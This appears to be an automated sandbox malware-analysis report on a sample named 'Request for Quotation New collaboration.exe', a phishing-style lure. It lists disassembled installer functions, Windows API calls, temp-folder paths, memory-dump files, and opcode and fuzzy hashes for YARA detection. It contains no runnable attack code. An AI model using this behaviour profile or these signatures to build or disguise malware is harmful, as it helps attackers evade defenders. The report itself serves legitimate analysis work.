Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction ID: c7c859a2db999ab7639828e98f3e535764a8332e37e79a8a612d2f3195062982
Opcode Fuzzy Hash: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction Fuzzy Hash: 19E0ECB4A01209AFEB009F64EC49A6B7BBCEB00744B908921A914F2250D778E8108A7D

Function 00403326 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Request for Quotation New collaboration.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76F93420,00403512), ref: 004061E1
Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
Part of subcall function 0040617E: CharNextW.USER32(?,"C:\Users\user\Desktop\Request for Quotation New collaboration.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76F93420,00403512), ref: 004061F5
Part of subcall function 0040617E: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76F93420,00403512), ref: 00406208

CreateDirectoryW.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76F93420,00403512), ref: 00403347

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403327, 0040332C, 00403332, 0040333E, 00403346, 0040334D
1033, xrefs: 0040334E

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-3283962145
Opcode ID: 2b9d125acdda4009adb7d2b0ceacb9d20b61df0616837bb0775500318951db81
Instruction ID: 15e16a0f1bb74d2da72680a3c6f5190242cf739030cfb371398593c950d8801c
Opcode Fuzzy Hash: 2b9d125acdda4009adb7d2b0ceacb9d20b61df0616837bb0775500318951db81
Instruction Fuzzy Hash: 65D0C92250693171C55236663E06FCF166C8F4A32AF129077F805B90D6DB7C2A8245FE

Function 00406974 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction ID: 0bcb7f2cf841bf472a0df6abca0e2eee6c891e9108e2cead3d2ea24e9771fd10
Opcode Fuzzy Hash: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction Fuzzy Hash: D6A15671E00229CBDF28CFA8C854BADBBB1FF44305F15816AD856BB281C7785A96DF44

Function 00406B75 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction ID: 5ff8dc76d646c522b35349404ae71f3a07db7e5a5a41cf42f501ef55767b32d6
Opcode Fuzzy Hash: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction Fuzzy Hash: DD913470E04229CBEF28CF98C8547ADBBB1FF44305F15816AD852BB291C7789996DF44

Function 0040688B Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction ID: bb31d40f455f6cff8f0b7d4569728449f81f985eb729d97d8cba9c35205a948c
Opcode Fuzzy Hash: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction Fuzzy Hash: A6814471E04228CBDF24CFA8C844BADBBB1FF44305F25816AD456BB281C7789996DF44

Function 00406390 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction ID: e59bb743c0d69fedc8ec9c1b53f92d0ee49f9853fc7f4c6d73f4ee5c7875ed1f
Opcode Fuzzy Hash: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction Fuzzy Hash: FE816671E04228DBDF24CFA8C8447ADBBB0FF44305F15816AD856BB281C7786996DF44

Function 004067DE Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction ID: 9556348457f1f5f1301c48e47fc8538a45dff02eab8277f34011f15b85b09a92
Opcode Fuzzy Hash: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction Fuzzy Hash: 43711271E00228DBDF28CF98C854BADBBB1FF48305F15806AD816BB281C7789996DF54

Function 004068FC Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction ID: ef61438920200bd82941886013112b5956151ce3a95704f571d29bdd470ffe0d
Opcode Fuzzy Hash: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction Fuzzy Hash: FF713571E00228DBDF28CF98C854BADBBB1FF44305F15806AD856BB291C7789996DF44

Function 00406848 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction ID: 0528ad5c4640a45b82c18dce6d1929194436f5f2edf35a138e23b2c729619556
Opcode Fuzzy Hash: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction Fuzzy Hash: AD714671E00228DBDF28CF98C854BADBBB1FF44305F15806AD816BB291C778AA56DF44

Function 00401F98 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FC3

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FD4
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402051

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: ec4ed1b09714f1aa9f835f2dbd5309446028e52bc8e450eb177df983279e41a5
Instruction ID: 2e01ab74a4c934f7e6015694823d512690d69bb111ffb1ad89b514660c000c84
Opcode Fuzzy Hash: ec4ed1b09714f1aa9f835f2dbd5309446028e52bc8e450eb177df983279e41a5
Instruction Fuzzy Hash: 65219871904215F6CF106F95CE48ADEBAB4AB04358F70417BF601B51E0D7B94D41DA6D

Function 00401B22 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(0073FB78), ref: 00401B92
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BA4

Strings

Call, xrefs: 00401B49, 00401B4F, 00401B69

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: fa756fabfd28fe389d560697bb7080b79a52f5873eaf941668f0573c6073e784
Instruction ID: 0d74e211bf3f77f63613a954a16e526c6d046d9130d490d95d437df5f5263094
Opcode Fuzzy Hash: fa756fabfd28fe389d560697bb7080b79a52f5873eaf941668f0573c6073e784
Instruction Fuzzy Hash: 2F2196B2604501ABCB10EB94DE8599FB3A8EB44318B24053BF541B32D1D778AC019FAD

Function 10002868 Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00000000), ref: 10002927
GetLastError.KERNEL32 ref: 10002A2E

Memory Dump Source

Source File: 00000000.00000002.2037060970.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2037043192.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037076720.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037093643.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quotation New collaboration.jbxd

Similarity

API ID: EnumErrorLastWindows
String ID:
API String ID: 14984897-0
Opcode ID: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction ID: 346bc7c3d20138bcfc700b2b1684b28c90b224d1e8b0175626a50a5a3d135241
Opcode Fuzzy Hash: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction Fuzzy Hash: 0E51A2BA905215DFFB10DFA4DC8275937A8EB443D4F22C42AEA049721DCF34A991CB55

Function 004023E0 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,000001FA,00000000,00000022,00000000,?,?), ref: 00402C6C

RegQueryValueExW.KERNELBASE(00000000,00000000,?,00000800,?,?,?,?,00000033), ref: 00402411
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nso7880.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 73cf7011403a251bc8a8568549cb6b978d79a09763c44604493d81e759c4a0f6
Instruction ID: d36666ef43ed86f5efc63e353f879872970ea39244a0d469f35bb849977519d9
Opcode Fuzzy Hash: 73cf7011403a251bc8a8568549cb6b978d79a09763c44604493d81e759c4a0f6
Instruction Fuzzy Hash: 3A117371915205EEDF14CFA0C6889AFB7B4EF40359F20843FE042A72D0D7B85A41DB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c61a7965c9618faeb417bc3a597272482dc455235e96daa415df5349b26d071e
Instruction ID: f7aa54b913f5ca68b4de92db4f2492a915771a0f44b2d9fd206d2c7cbab0d3a4
Opcode Fuzzy Hash: c61a7965c9618faeb417bc3a597272482dc455235e96daa415df5349b26d071e
Instruction Fuzzy Hash: B501F431724210ABE7295B789C05B6A3698E720314F10853FF911F72F1DA78DC138B4D

Function 00401DC7 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DDD
EnableWindow.USER32(00000000,00000000), ref: 00401DE8

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: be98ff442c713d64b2aef3360118115c19863b97becbdb99d22bcda0d6aeac62
Instruction ID: 4da21f5269aa326e6de85e385cb401583d451f1930efd1289825586750b78c36
Opcode Fuzzy Hash: be98ff442c713d64b2aef3360118115c19863b97becbdb99d22bcda0d6aeac62
Instruction Fuzzy Hash: 84E08CB2B04104DBDB50AFF4AA889DD7378AB90369B20087BF402F10D1C2B86C008E3E

Function 00405B56 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

